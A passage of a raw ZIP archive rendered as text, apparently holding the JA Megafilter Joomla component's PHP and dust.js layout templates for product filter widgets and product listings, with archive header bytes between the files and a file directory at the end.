* ------------------------------------------------------------------------
* Copyright (C) 2004-2016 J.O.O.M Solutions Co., Ltd. All Rights Reserved.
* @license - GNU/GPL, http://www.gnu.org/licenses/gpl.html
* Author: J.O.O.M Solutions Co., Ltd
* Websites: http://www.joomlart.com - http://www.joomlancers.com
* This file may not be redistributed in whole or significant part.
* ------------------------------------------------------------------------
*/
defined('_JEXEC') or die;
?>
<div class="filter-selected filter-current filter-values">
<h3 class="block-subtitle filter-current-subtitle"
role="heading" aria-level="2"
data-count="1"><?php echo
JText::_('COM_JAMEGAFILTER_SELECTED_FILTERS'); ?></h3>
<ol class="items">
{@iter:values}
{#value}<li class="item">
<label data-lnprop="{prop}" class="clear-filter action
remove">
<span class="filter-label">{name}</span>
<span
class="filter-value">{value|s}</span>
</label>
</li>{/value}
{/iter}
</ol>
</div>
<div class="block-actions filter-actions">
<div class="btn btn-default clear-all-filter action
filter-clear"><?php echo
JText::_('COM_JAMEGAFILTER_CLEAR_ALL'); ?></div>
</div> PK�v�[giZ]��
layouts/filter/filter.rating.phpnu�[���<?php
/**
*
------------------------------------------------------------------------
* JA Megafilter Component
*
------------------------------------------------------------------------
* Copyright (C) 2004-2016 J.O.O.M Solutions Co., Ltd. All Rights
Reserved.
* @license - GNU/GPL, http://www.gnu.org/licenses/gpl.html
* Author: J.O.O.M Solutions Co., Ltd
* Websites: http://www.joomlart.com - http://www.joomlancers.com
* This file may not be redistributed in whole or significant part.
*
------------------------------------------------------------------------
*/
//No direct to access this file.
defined('_JEXEC') or die('Restricted access');
?>
<dt role="heading" aria-level="3"
class="filter-options-title"><span>{options.title}</span></dt>
<dd class="filter-options-content ">
<ul class="items filter-items">
<li class="item first lv-1" hidden>
<label>
<input type="radio" name="rating"
value="" >
<span>All Rate</span>
</label>
</li>
</ul>
</dd>PK�v�[<�1���layouts/filter/filter.value.phpnu�[���<?php
/**
* ------------------------------------------------------------------------
* JA Megafilter Component
* ------------------------------------------------------------------------
* Copyright (C) 2004-2016 J.O.O.M Solutions Co., Ltd. All Rights Reserved.
* @license - GNU/GPL, http://www.gnu.org/licenses/gpl.html
* Author: J.O.O.M Solutions Co., Ltd
* Websites: http://www.joomlart.com - http://www.joomlancers.com
* This file may not be redistributed in whole or significant part.
* ------------------------------------------------------------------------
*/
//No direct to access this file.
defined('_JEXEC') or die('Restricted access');
?>
<dt role="heading" aria-level="3"
class="filter-options-title"><span>{options.title}</span></dt>
<dd class="filter-options-content ">
<input type="text" name="{options.field}"
class="input-text" placeholder="<?php echo
JText::_('COM_JAMEGAFILTER_ENTER_SEARCH') ?>
{options.title}" maxlength="128" />
</dd>PK�v�[d�����"layouts/filter/filter.txtrange.phpnu�[���<?php
/**
* ------------------------------------------------------------------------
* JA Megafilter Component
* ------------------------------------------------------------------------
* Copyright (C) 2004-2016 J.O.O.M Solutions Co., Ltd. All Rights Reserved.
* @license - GNU/GPL, http://www.gnu.org/licenses/gpl.html
* Author: J.O.O.M Solutions Co., Ltd
* Websites: http://www.joomlart.com - http://www.joomlancers.com
* This file may not be redistributed in whole or significant part.
* ------------------------------------------------------------------------
*/
//No direct to access this file.
defined('_JEXEC') or die('Restricted access');
?>
<dt role="heading" aria-level="3"
class="filter-options-title"><span>{options.title}</span></dt>
<dd class="filter-options-content ">
<div class="jamega-row-flex">
<div class="col">
<input id="from-{options.field}" type="number"
class="input-text jafrom" placeholder="{options.title}
<?php echo JText::_('COM_JAMEGAFILTER_FROM') ?>"
maxlength="128" />
</div>
<div class="col"><b>-</b></div>
<div class="col">
<input id="to-{options.field}" type="number"
class="input-text jato" placeholder="{options.title}
<?php echo JText::_('COM_JAMEGAFILTER_TO') ?>"
maxlength="128" />
</div>
</div>
</dd>PK�v�[�����'layouts/filter/filter.dropdown-item.phpnu�[���<?php
/**
* ------------------------------------------------------------------------
* JA Megafilter Component
* ------------------------------------------------------------------------
* Copyright (C) 2004-2016 J.O.O.M Solutions Co., Ltd. All Rights Reserved.
* @license - GNU/GPL, http://www.gnu.org/licenses/gpl.html
* Author: J.O.O.M Solutions Co., Ltd
* Websites: http://www.joomlart.com - http://www.joomlancers.com
* This file may not be redistributed in whole or significant part.
* ------------------------------------------------------------------------
*/
//No direct to access this file.
defined('_JEXEC') or die('Restricted access');
?>
<option value="{options.value}">{options.frontend_value|s}
({mids.length})</option>PK�v�[2��h��$layouts/filter/filter.color-item.phpnu�[���<?php
/**
* ------------------------------------------------------------------------
* JA Megafilter Component
* ------------------------------------------------------------------------
* Copyright (C) 2004-2016 J.O.O.M Solutions Co., Ltd. All Rights Reserved.
* @license - GNU/GPL, http://www.gnu.org/licenses/gpl.html
* Author: J.O.O.M Solutions Co., Ltd
* Websites: http://www.joomlart.com - http://www.joomlancers.com
* This file may not be redistributed in whole or significant part.
* ------------------------------------------------------------------------
*/
//No direct to access this file.
defined('_JEXEC') or die('Restricted access');
?>
<li class="item color-item">
<label>
<input style="display:none;" type="checkbox"
name="{options.name}" value="{options.value}" />
<span class="color-item-bg"
data-bgcolor="{options.frontend_value|s}"> </span>
<div class="item-counter" style="text-align:
center;">({mids.length})</div>
</label>
</li>
PK�v�[֛OOlayouts/filter/filter.color.phpnu�[���<?php
/**
* ------------------------------------------------------------------------
* JA Megafilter Component
* ------------------------------------------------------------------------
* Copyright (C) 2004-2016 J.O.O.M Solutions Co., Ltd. All Rights Reserved.
* @license - GNU/GPL, http://www.gnu.org/licenses/gpl.html
* Author: J.O.O.M Solutions Co., Ltd
* Websites: http://www.joomlart.com - http://www.joomlancers.com
* This file may not be redistributed in whole or significant part.
* ------------------------------------------------------------------------
*/
//No direct to access this file.
defined('_JEXEC') or die('Restricted access');
?>
<dt role="heading" aria-level="3"
class="filter-options-title"><span>{options.title}</span></dt>
<dd class="filter-options-content ">
<ul class="items filter-items">
</ul>
</dd>PK�v�[Sr�OO$layouts/filter/filter.radio-item.phpnu�[���<?php
/**
* ------------------------------------------------------------------------
* JA Megafilter Component
* ------------------------------------------------------------------------
* Copyright (C) 2004-2016 J.O.O.M Solutions Co., Ltd. All Rights Reserved.
* @license - GNU/GPL, http://www.gnu.org/licenses/gpl.html
* Author: J.O.O.M Solutions Co., Ltd
* Websites: http://www.joomlart.com - http://www.joomlancers.com
* This file may not be redistributed in whole or significant part.
* ------------------------------------------------------------------------
*/
//No direct to access this file.
defined('_JEXEC') or die('Restricted access');
?>
<li class="item">
<label>
<input type="radio" name="{options.name}"
value="{options.value}" />
<span>{options.frontend_value|s}
<span>({mids.length})</span></span>
</label>
</li>PK�v�[�pt�TT'layouts/filter/filter.multiple-item.phpnu�[���<?php
/**
* ------------------------------------------------------------------------
* JA Megafilter Component
* ------------------------------------------------------------------------
* Copyright (C) 2004-2016 J.O.O.M Solutions Co., Ltd. All Rights Reserved.
* @license - GNU/GPL, http://www.gnu.org/licenses/gpl.html
* Author: J.O.O.M Solutions Co., Ltd
* Websites: http://www.joomlart.com - http://www.joomlancers.com
* This file may not be redistributed in whole or significant part.
* ------------------------------------------------------------------------
*/
//No direct to access this file.
defined('_JEXEC') or die('Restricted access');
?>
<li class="item">
<label>
<input type="checkbox" name="{options.name}"
value="{options.value}" />
<span>{options.frontend_value|s}
<span>({mids.length})</span></span>
</label>
</li>
PK�v�[]@�U"layouts/filter/filter.dropdown.phpnu�[���<?php
/**
* ------------------------------------------------------------------------
* JA Megafilter Component
* ------------------------------------------------------------------------
* Copyright (C) 2004-2016 J.O.O.M Solutions Co., Ltd. All Rights Reserved.
* @license - GNU/GPL, http://www.gnu.org/licenses/gpl.html
* Author: J.O.O.M Solutions Co., Ltd
* Websites: http://www.joomlart.com - http://www.joomlancers.com
* This file may not be redistributed in whole or significant part.
* ------------------------------------------------------------------------
*/
//No direct to access this file.
defined('_JEXEC') or die('Restricted access');
?>
<dt role="heading" aria-level="3"
class="filter-options-title"><span>{options.title}</span></dt>
<dd class="filter-options-content filter-dropdown">
<select class="filter-items" {options.multiple}>
{^options.multiple}
<option value=""><?php echo
JText::_('COM_JAMEGAFILTER_SELECTED_A'); ?>
{options.title}</option>
{/options.multiple}
</select>
</dd>PK�v�[�g�vvlayouts/filter/filter.range.phpnu�[���<?php
/**
* ------------------------------------------------------------------------
* JA Megafilter Component
* ------------------------------------------------------------------------
* Copyright (C) 2004-2016 J.O.O.M Solutions Co., Ltd. All Rights Reserved.
* @license - GNU/GPL, http://www.gnu.org/licenses/gpl.html
* Author: J.O.O.M Solutions Co., Ltd
* Websites: http://www.joomlart.com - http://www.joomlancers.com
* This file may not be redistributed in whole or significant part.
* ------------------------------------------------------------------------
*/
//No direct to access this file.
defined('_JEXEC') or die('Restricted access');
?>
<dt role="heading" aria-level="3"
class="filter-options-title"><span>{options.title}</span></dt>
<dd class="filter-options-content ">
<div class="range-item"></div>
<div class="range-value clearfix">
<label class="range-min pull-left"><?php echo
JText::_('COM_JAMEGAFILTER_MIN'); ?> <span
class="range-value0"></span></label>
<label class="range-max pull-right"><?php echo
JText::_('COM_JAMEGAFILTER_MAX'); ?> <span
class="range-value1"></span></label>
</div>
</dd>PK�v�[�.+���#layouts/filter/filter.size-item.phpnu�[���<?php
/**
* ------------------------------------------------------------------------
* JA Megafilter Component
* ------------------------------------------------------------------------
* Copyright (C) 2004-2016 J.O.O.M Solutions Co., Ltd. All Rights Reserved.
* @license - GNU/GPL, http://www.gnu.org/licenses/gpl.html
* Author: J.O.O.M Solutions Co., Ltd
* Websites: http://www.joomlart.com - http://www.joomlancers.com
* This file may not be redistributed in whole or significant part.
* ------------------------------------------------------------------------
*/
//No direct to access this file.
defined('_JEXEC') or die('Restricted access');
?>
<li class="item color-item">
<label>
<input style="display:none;" type="checkbox"
name="{options.name}" value="{options.value}" />
<span class="color-item-bg"> {options.frontend_value|s}
</span>
<div class="item-counter" style="text-align:
center;">({mids.length})</div>
</label>
</li>
PK�v�[�C�layouts/filter/filter.radio.phpnu�[���<?php
/**
* ------------------------------------------------------------------------
* JA Megafilter Component
* ------------------------------------------------------------------------
* Copyright (C) 2004-2016 J.O.O.M Solutions Co., Ltd. All Rights Reserved.
* @license - GNU/GPL, http://www.gnu.org/licenses/gpl.html
* Author: J.O.O.M Solutions Co., Ltd
* Websites: http://www.joomlart.com - http://www.joomlancers.com
* This file may not be redistributed in whole or significant part.
* ------------------------------------------------------------------------
*/
//No direct to access this file.
defined('_JEXEC') or die('Restricted access');
?>
<dt role="heading" aria-level="3"
class="filter-options-title"><span>{options.title}</span></dt>
<dd class="filter-options-content ">
<ul class="items filter-items">
<li class="item first">
<label><input type="radio"
name="{options.field}" value=""
checked="checked" /> <span><?php echo
JText::_('COM_JAMEGAFILTER_ALL'); ?>
{options.title}</span></label>
</li>
</ul>
</dd>PK�v�[n$Ok��$layouts/filter/filter.media-item.phpnu�[���<?php
/**
*
------------------------------------------------------------------------
* JA Megafilter Component
*
------------------------------------------------------------------------
* Copyright (C) 2004-2016 J.O.O.M Solutions Co., Ltd. All Rights
Reserved.
* @license - GNU/GPL, http://www.gnu.org/licenses/gpl.html
* Author: J.O.O.M Solutions Co., Ltd
* Websites: http://www.joomlart.com - http://www.joomlancers.com
* This file may not be redistributed in whole or significant part.
*
------------------------------------------------------------------------
*/
//No direct to access this file.
defined('_JEXEC') or die('Restricted access');
?>
<li class="item media-item">
<label>
<input style="display:none;" type="checkbox"
name="{options.name}" value="{options.value}" />
<img class="img-item" src="<?php echo
JUri::root(true) ?>/{options.frontend_value|s}" />
<div class="item-counter" style="text-align:
center">({mids.length})</div>
</label>
</li>
PK�v�[p+��layouts/filter/filter-list.phpnu�[���<?php
/**
* ------------------------------------------------------------------------
* JA Megafilter Component
* ------------------------------------------------------------------------
* Copyright (C) 2004-2016 J.O.O.M Solutions Co., Ltd. All Rights Reserved.
* @license - GNU/GPL, http://www.gnu.org/licenses/gpl.html
* Author: J.O.O.M Solutions Co., Ltd
* Websites: http://www.joomlart.com - http://www.joomlancers.com
* This file may not be redistributed in whole or significant part.
* ------------------------------------------------------------------------
*/
//No direct to access this file.
defined('_JEXEC') or die('Restricted access');
?>
<div class="block filter filter-wrapper">
<div class="block-content filter-content">
<div class="filter-current filter-values"></div>
<h3 role="heading" aria-level="2"
class="block-subtitle filter-subtitle"><?php echo
JText::_('COM_JAMEGAFILTER_SHOP_BY'); ?></h3>
<dl class="filter-options filter-list"
id="narrow-by-list">
</dl>
</div>
</div>PK�v�[��-��#layouts/filter/filter.list-item.phpnu�[���<?php
/**
* ------------------------------------------------------------------------
* JA Megafilter Component
* ------------------------------------------------------------------------
* Copyright (C) 2004-2016 J.O.O.M Solutions Co., Ltd. All Rights Reserved.
* @license - GNU/GPL, http://www.gnu.org/licenses/gpl.html
* Author: J.O.O.M Solutions Co., Ltd
* Websites: http://www.joomlart.com - http://www.joomlancers.com
* This file may not be redistributed in whole or significant part.
* ------------------------------------------------------------------------
*/
//No direct to access this file.
defined('_JEXEC') or die('Restricted access');
?>
<li><a
href="#{options.value|s}">{options.frontend_value|s}
({mids.length})</a></li>PK�v�[`h��NNlayouts/filter/filter.size.phpnu�[���<?php
/**
* ------------------------------------------------------------------------
* JA Megafilter Component
* ------------------------------------------------------------------------
* Copyright (C) 2004-2016 J.O.O.M Solutions Co., Ltd. All Rights Reserved.
* @license - GNU/GPL, http://www.gnu.org/licenses/gpl.html
* Author: J.O.O.M Solutions Co., Ltd
* Websites: http://www.joomlart.com - http://www.joomlancers.com
* This file may not be redistributed in whole or significant part.
* ------------------------------------------------------------------------
*/
//No direct to access this file.
defined('_JEXEC') or die('Restricted access');
?><dt role="heading" aria-level="3"
class="filter-options-title"><span>{options.title}</span></dt>
<dd class="filter-options-content ">
<ul class="items filter-items">
</ul>
</dd>PK�v�[`h��NN"layouts/filter/filter.multiple.phpnu�[���<?php
/**
* ------------------------------------------------------------------------
* JA Megafilter Component
* ------------------------------------------------------------------------
* Copyright (C) 2004-2016 J.O.O.M Solutions Co., Ltd. All Rights Reserved.
* @license - GNU/GPL, http://www.gnu.org/licenses/gpl.html
* Author: J.O.O.M Solutions Co., Ltd
* Websites: http://www.joomlart.com - http://www.joomlancers.com
* This file may not be redistributed in whole or significant part.
* ------------------------------------------------------------------------
*/
//No direct to access this file.
defined('_JEXEC') or die('Restricted access');
?><dt role="heading" aria-level="3"
class="filter-options-title"><span>{options.title}</span></dt>
<dd class="filter-options-content ">
<ul class="items filter-items">
</ul>
</dd>PK�v�[j5�/��layouts/filter/filter.list.phpnu�[���<?php
/**
* ------------------------------------------------------------------------
* JA Megafilter Component
* ------------------------------------------------------------------------
* Copyright (C) 2004-2016 J.O.O.M Solutions Co., Ltd. All Rights Reserved.
* @license - GNU/GPL, http://www.gnu.org/licenses/gpl.html
* Author: J.O.O.M Solutions Co., Ltd
* Websites: http://www.joomlart.com - http://www.joomlancers.com
* This file may not be redistributed in whole or significant part.
* ------------------------------------------------------------------------
*/
//No direct to access this file.
defined('_JEXEC') or die('Restricted access');
?>
<dt role="heading" aria-level="3"
class="filter-options-title"><span>{options.title}</span></dt>
<dd class="filter-options-content ">
<ol class="items filter-items">
<li class="item first">
<label><?php echo JText::_('COM_JAMEGAFILTER_ALL');
?> {options.title}</label>
</li>
</ol>
</dd>PK�v�[���fflayouts/filter/filter.date.phpnu�[���<?php
/**
* ------------------------------------------------------------------------
* JA Megafilter Component
* ------------------------------------------------------------------------
* Copyright (C) 2004-2016 J.O.O.M Solutions Co., Ltd. All Rights Reserved.
* @license - GNU/GPL, http://www.gnu.org/licenses/gpl.html
* Author: J.O.O.M Solutions Co., Ltd
* Websites: http://www.joomlart.com - http://www.joomlancers.com
* This file may not be redistributed in whole or significant part.
* ------------------------------------------------------------------------
*/
//No direct to access this file.
defined('_JEXEC') or die('Restricted access');
?>
<dt role="heading" aria-level="3"
class="filter-options-title"><span>{options.title}</span></dt>
<dd class="filter-options-content ">
<input id="from-{options.field}" type="text"
class="input-text jafrom" placeholder="<?php echo
JText::_('COM_JAMEGAFILTER_FROM') ?>"
maxlength="128" />
<b>-</b>
<input id="to-{options.field}" type="text"
class="input-text jato" placeholder="<?php echo
JText::_('COM_JAMEGAFILTER_TO') ?>"
maxlength="128" />
</dd>PK�v�[�u��''%layouts/filter/filter.rating-item.phpnu�[���<?php
/**
*
------------------------------------------------------------------------
* JA Megafilter Component
*
------------------------------------------------------------------------
* Copyright (C) 2004-2016 J.O.O.M Solutions Co., Ltd. All Rights
Reserved.
* @license - GNU/GPL, http://www.gnu.org/licenses/gpl.html
* Author: J.O.O.M Solutions Co., Ltd
* Websites: http://www.joomlart.com - http://www.joomlancers.com
* This file may not be redistributed in whole or significant part.
*
------------------------------------------------------------------------
*/
//No direct to access this file.
defined('_JEXEC') or die('Restricted access');
?>
<li class="item rating-item rating-{options.value}">
<label>
<input style="" type="radio"
name="{options.name}" value="{options.value}"/>
<span class="rating-result">
<span
style="width:{options.width_rating}%"></span>
</span>
<span>({mids.length})</span>
</label>
</li>
.rating-0{display:
none;}PK�v�[a�{8ddlayouts/filter/filter.media.phpnu�[���<?php
/**
*
------------------------------------------------------------------------
* JA Megafilter Component
*
------------------------------------------------------------------------
* Copyright (C) 2004-2016 J.O.O.M Solutions Co., Ltd. All Rights
Reserved.
* @license - GNU/GPL, http://www.gnu.org/licenses/gpl.html
* Author: J.O.O.M Solutions Co., Ltd
* Websites: http://www.joomlart.com - http://www.joomlancers.com
* This file may not be redistributed in whole or significant part.
*
------------------------------------------------------------------------
*/
//No direct to access this file.
defined('_JEXEC') or die('Restricted access');
?>
<dt role="heading" aria-level="3"
class="filter-options-title"><span>{options.title}</span></dt>
<dd class="filter-options-content ">
<ul class="items filter-items">
</ul>
</dd>PK�v�[�W��wwlayouts/product-list.phpnu�[���<?php
/**
* ------------------------------------------------------------------------
* JA Megafilter Component
* ------------------------------------------------------------------------
* Copyright (C) 2004-2016 J.O.O.M Solutions Co., Ltd. All Rights Reserved.
* @license - GNU/GPL, http://www.gnu.org/licenses/gpl.html
* Author: J.O.O.M Solutions Co., Ltd
* Websites: http://www.joomlart.com - http://www.joomlancers.com
* This file may not be redistributed in whole or significant part.
* ------------------------------------------------------------------------
*/
// No direct access to this file
defined('_JEXEC') or die('Restricted access');
$jinput = JFactory::getApplication()->input;
$itc = $jinput->get('itempercol', 5, 'INT');
?>
<div class="ja-toolbar-wrapper toolbar toolbar-products
toolbar-wrapper toolbar-top">
</div>
<div class="ja-products-wrapper products wrapper grid products-grid
cols-<?php echo $itc; ?>">
<div class="row products list items product-items clearfix
cols-<?php echo $itc; ?>"></div>
</div>
<div class="ja-toolbar-wrapper toolbar toolbar-products
toolbar-wrapper toolbar-bottom">
</div>PK�v�[?�C:mmlayouts/product-item.phpnu�[���<?php
/**
* ------------------------------------------------------------------------
* JA Megafilter Component
* ------------------------------------------------------------------------
* Copyright (C) 2004-2016 J.O.O.M Solutions Co., Ltd. All Rights Reserved.
* @license - GNU/GPL, http://www.gnu.org/licenses/gpl.html
* Author: J.O.O.M Solutions Co., Ltd
* Websites: http://www.joomlart.com - http://www.joomlancers.com
* This file may not be redistributed in whole or significant part.
* ------------------------------------------------------------------------
*/
//No direct to access this file.
defined('_JEXEC') or die('Restricted access');
?>
{#data}
<div class="item product product-item col">
<div data-container="product-grid"
class="product-item-info">
<div class="product-item-details">
<a tabindex="-1"
class="product-item-photo" href="{url}">
<span class="product-image-container">
<span class="product-image-wrapper">
<img alt="{name|s}" src="<?php
echo JUri::base(true).DS; ?>{thumbnail}"
class="product-image-photo">
</span>
</span>
</a>
<div class="product-reviews-summary short">
<div class="rating-summary">
{?rating}
<div title="{rating} out of 5"
class="rating-result">
<span
style="width:{width_rating}%"></span>
</div>
{:else}
<div title="0%"
class="rating-result">
<span
style="width:0%"></span>
</div>
{/rating}
</div>
</div>
<h4 class="product-item-name">
<a href="{url}"
class="product-item-link">
{name|s}
</a>
</h4>
<div data-product-id="{id}"
data-role="priceBox" class="price-box
price-final_price">
<span class="price-container price-final_price tax
weee">
<span class="price-wrapper "
data-price-type="finalPrice"
data-price-amount="{price}" id="product-price-{id}">
<span
class="price">{frontend_price|s}</span>
</span>
</span>
</div>
</div>
<div class="product-item-actions">
{?on_sale}
<div class="addtocart-area">
<form method="post" class="product
js-recalculate" action="<?php echo JRoute::_
('index.php?option=com_virtuemart',false); ?>">
<div class="addtocart-bar">
<span class="quantity-box">
<input class="quantity-input
js-recalculate" name="quantity[]" data-errstr="<?php
echo JText::_('COM_JAMEGAFILTER_ERROR_CAN_ONLY_BUY'); ?> %s
<?php echo
JText::_('COM_JAMEGAFILTER_ERROR_CAN_ONLY_BUY_PIECES');
?>!" value="1" init="1" step="1"
type="text">
</span>
<span class="quantity-controls
js-recalculate">
<input class="quantity-controls
quantity-plus" type="button">
<input class="quantity-controls
quantity-minus" type="button">
</span>
<span class="addtocart-button">
<input name="addtocart"
class="btn btn-default" value="<?php echo
JText::_('COM_JAMEGAFILTER_ADD_TO_CART'); ?>"
title="<?php echo
JText::_('COM_JAMEGAFILTER_ADD_TO_CART'); ?>"
type="submit">
</span>
<input
name="virtuemart_product_id[]"
value="{virtuemart_product_id}" type="hidden">
<input type="hidden"
name="task" value="add"/>
</div>
<input type="hidden"
name="option" value="com_virtuemart"/>
<input type="hidden" name="view"
value="cart"/>
<input type="hidden"
name="virtuemart_product_id[]"
value="{virtuemart_product_id}"/>
<input type="hidden"
name="pname" value="{name}"/>
<input type="hidden" name="pid"
value="{virtuemart_product_id}"/>
</form>
</div>
{:else}
{?is_salable}
<div class="stock
available"><span><?php echo
JText::_('COM_JAMEGAFILTER_IN_STOCK');
?></span></div>
{:else}
<div class="stock
unavailable"><span><?php echo
JText::_('COM_JAMEGAFILTER_OUT_STOCK');
?></span></div>
{/is_salable}
{/on_sale}
</div>
</div>
</div>
{/data}PK�v�[�#o,,models/index.htmlnu�[���<html><body
bgcolor="#FFFFFF"></body></html>PK�v�[HW㮅�models/default.phpnu�[���<?php
/**
* ------------------------------------------------------------------------
* JA Megafilter Component
* ------------------------------------------------------------------------
* Copyright (C) 2004-2016 J.O.O.M Solutions Co., Ltd. All Rights Reserved.
* @license - GNU/GPL, http://www.gnu.org/licenses/gpl.html
* Author: J.O.O.M Solutions Co., Ltd
* Websites: http://www.joomlart.com - http://www.joomlancers.com
* This file may not be redistributed in whole or significant part.
* ------------------------------------------------------------------------
*/
// No direct access to this file
use Joomla\CMS\MVC\Model\ItemModel;
defined('_JEXEC') or die('Restricted access');
class JaMegaFilterModelDefault extends JModelItem
{
protected $jafields;
public function getItem($pk = null){
$jinput = JFactory::getApplication()->input;
$id = $jinput->get('id', 1, 'INT');
$db = JFactory::getDbo();
$query = $db->getQuery(true);
$query->select('*');
$query->from($db->quoteName('#__jamegafilter'));
$query->where($db->quoteName('id').'='.$id);
$db->setQuery($query);
$item = $db->loadAssoc();
return $item;
}
}
PK�v�[�#o,,
index.htmlnu�[���PK�v�[���8ddfjamegafilter.phpnu�[���PK�v�[@��oo
controller.phpnu�[���PK�v�[�#o,,�views/index.htmlnu�[���PK�v�[�#o,,#views/default/index.htmlnu�[���PK�v�[k��G�-�-�views/default/view.html.phpnu�[���PK�v�[�#o,,y?views/default/tmpl/index.htmlnu�[���PK�v�[���ԓ��?views/default/tmpl/default.phpnu�[���PK�v�[�J����Bviews/default/tmpl/default.xmlnu�[���PK�v�[�Lо� � �Oassets/asset.phpnu�[���PK�v�[
�Ş�?�?Zassets/prepros.cfgnu�[���PK�v�[~��w�w�assets/less/style.lessnu�[���PK�v�[U�/���Hassets/less/variables.lessnu�[���PK�v�[��ā0�0%Xassets/js/jquery.ui.slider-rtl.min.jsnu�[���PK�v�[���C�C.Lassets/js/jquery.ui.slider.jsnu�[���PK�v�[7�2z1z1L�assets/js/dust-helpers.jsnu�[���PK�v�[�_+���assets/js/sticky-kit.min.jsnu�[���PK�v�[����J�JO�assets/js/main.jsnu�[���PK�v�[�6DDsassets/js/jquery.cookie.jsnu�[���PK�v�[G����V�V'assets/js/jquery-ui.min.jsnu�[���PK�v�[l�V~assets/js/script.jsnu�[���PK�v�[��:ZZ^�assets/js/dust-helpers.min.jsnu�[���PK�v�[��������assets/js/megafilter.jsnu�[���PK�v�[fN�R�R� xassets/js/libs.jsnu�[���PK�v�[�Ï�V�V
�_assets/js/jquery-ui.range.min.jsnu�[���PK�v�[
���-�-!��assets/js/jquery.ui.datepicker.jsnu�[���PK�v�[�}r&��assets/js/jquery.ui.touch-punch.min.jsnu�[���PK�v�[N0�{��U�assets/images/tree-rtl-bg.pngnu�[���PK�v�[2�}^^)��assets/images/ui-icons_444444_256x240.pngnu�[���PK�v�[<?B��M
assets/images/tree-bg.pngnu�[���PK�v�[�\�>!�assets/images/tree-rtl-lv2-bg.pngnu�[���PK�v�[���011!�assets/images/tree-rtl-lv3-bg.pngnu�[���PK�v�[��iqMqM6hassets/images/ui-bg_highlight-soft_75_cccccc_1x100.pngnu�[���PK�v�[1�]55!?eassets/images/tree-rtl-lv4-bg.pngnu�[���PK�v�[\���HH�iassets/images/color-stars.pngnu�[���PK�v�[Ͽ�DDZoassets/images/quantity-bg.pngnu�[���PK�v�[���*$$�sassets/images/plus.pngnu�[���PK�v�[ߞ[�r�rUxassets/css/style.cssnu�[���PK�v�[��!!"9�assets/css/jquery.ui.accordion.cssnu�[���PK�v�[hd1Q1Q��assets/css/jquery.ui.cssnu�[���PK�v�[���tt#%@ assets/css/jquery.ui.slider-rtl.cssnu�[���PK�v�[�A assets/css/style-rtl.cssnu�[���PK�v�["��lDlD4B assets/css/jquery-ui.min.cssnu�[���PK�v�[�� layouts/filter-list.phpnu�[���PK�v�[�v*.��D� layouts/product-toolbar.phpnu�[���PK�v�[�?AV33� layouts/filter-selected.phpnu�[���PK�v�[giZ]��
�� layouts/filter/filter.rating.phpnu�[���PK�v�[<�1���ǣ layouts/filter/filter.value.phpnu�[���PK�v�[d�����"ߧ layouts/filter/filter.txtrange.phpnu�[���PK�v�[�����'+� layouts/filter/filter.dropdown-item.phpnu�[���PK�v�[2��h��$l� layouts/filter/filter.color-item.phpnu�[���PK�v�[֛OO�� layouts/filter/filter.color.phpnu�[���PK�v�[Sr�OO$*� layouts/filter/filter.radio-item.phpnu�[���PK�v�[�pt�TT'ͻ layouts/filter/filter.multiple-item.phpnu�[���PK�v�[]@�U"x� layouts/filter/filter.dropdown.phpnu�[���PK�v�[�g�vv�� layouts/filter/filter.range.phpnu�[���PK�v�[�.+���#�� layouts/filter/filter.size-item.phpnu�[���PK�v�[�C��� layouts/filter/filter.radio.phpnu�[���PK�v�[n$Ok��$� layouts/filter/filter.media-item.phpnu�[���PK�v�[p+��E� layouts/filter/filter-list.phpnu�[���PK�v�[��-��#�� layouts/filter/filter.list-item.phpnu�[���PK�v�[`h��NN�� layouts/filter/filter.size.phpnu�[���PK�v�[`h��NN"k� layouts/filter/filter.multiple.phpnu�[���PK�v�[j5�/��� layouts/filter/filter.list.phpnu�[���PK�v�[���ff� layouts/filter/filter.date.phpnu�[���PK�v�[�u��''%�� layouts/filter/filter.rating-item.phpnu�[���PK�v�[a�{8ddH� layouts/filter/filter.media.phpnu�[���PK�v�[�W��ww�� layouts/product-list.phpnu�[���PK�v�[?�C:mm�� layouts/product-item.phpnu�[���PK�v�[�#o,,o
models/index.htmlnu�[���PK�v�[HW㮅��
models/default.phpnu�[���PKGG��